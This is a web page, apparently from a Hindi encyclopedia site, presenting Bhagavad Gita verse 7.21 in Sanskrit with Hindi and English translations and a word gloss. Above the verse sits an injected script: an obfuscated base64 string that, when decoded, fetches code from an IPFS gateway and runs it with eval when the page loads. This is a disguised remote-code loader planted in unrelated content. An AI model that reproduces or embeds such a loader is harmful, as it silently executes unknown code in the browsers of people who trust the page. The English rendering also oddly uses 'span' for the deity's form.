<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गीता अध्याय-7 श्लोक-21 / Gita Chapter-7 Verse-21
यो यो यां यां तनुं भक्त: श्रद्धयार्चितुमिच्छति ।
तस्य तस्याचलां श्रद्धा तामेव विदधाम्यहम् ।।21।।
|
जो-जो सकाम भक्त, जिस-जिस देवता के स्वरूप को श्रद्धा से पूजना चाहता है, उस-उस भक्त की श्रद्धा को मैं उसी देवता के प्रति स्थिर करता हूँ ।।21।।
|
Whatever celestial span a devotee craving for some worldly object chooses to worship with reverence, I stabilize the faith of that particular devotee in that very span . (21)
|
य: = जो ; य: = जो ; भक्त: = सकामी भक्त ; याम् = जिस ; याम् = जिस ; तनुम् = देवता के स्वरूप को ; श्रद्धया = श्रद्धा से ; अर्चितुम् = पूजना ; इच्छति = चाहता है ; तस्य = उस ; तस्य = उस भक्तकी ; अहम् = मैं ; ताम् = उस ही देवता के प्रति ; श्रद्धाम् = श्रद्धा को ; अचलाम् = स्थिर ; विदधामि = करता हूं
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
|
महाभारत |
---|
| महाभारत के पर्व | | | महाभारत के चरित्र | | | स्थान | | | महाभारत कथा | | | अन्य | |
|
|
वर्णमाला क्रमानुसार लेख खोज